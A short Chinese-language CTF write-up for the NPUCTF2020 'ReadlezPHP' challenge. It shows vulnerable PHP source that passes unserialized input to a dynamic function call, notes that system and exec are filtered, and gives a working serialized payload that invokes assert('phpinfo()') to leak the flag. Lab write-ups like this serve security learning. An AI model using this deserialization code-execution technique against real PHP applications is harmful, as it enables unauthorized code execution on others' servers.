[NPUCTF2020]ReadlezPHP

原理

反序列化
命令执行的函数汇总

解题过程

进入靶场了- -有点骇人，什么都没有，就底部的时间跟本地时间差了点，估计是用了date函数

只能看下页面原代码，右键点不开- -还好我记得在网址前面加 view-source: 就是查看原代码
看到了两个超链接，第一个是西北工业大学的网址，出题人的宣传吧- -，第二个就是我们的提示了，点开

看到后端源代码了

 <?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);


2023-10-15 04:04:38

自己分析吧，又不难。
重点是echo $b($a)，$b是函数,$a是参数。。。我一开始是想到用system当函数，ls当参数的，网页没反应还以为是哪错了。过滤了也不跟我说- -


看了wp才知道是过滤了system，exec，shell_exec函数，但是没过滤assert 是一个代码执行函数
最后是通过执行phpinfo()拿到flag的- -

payload:O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

多学学思路吧哎.....
命令执行和代码执行应该不分家来着
https://www.cnblogs.com/l0vehzzz/p/16417326.html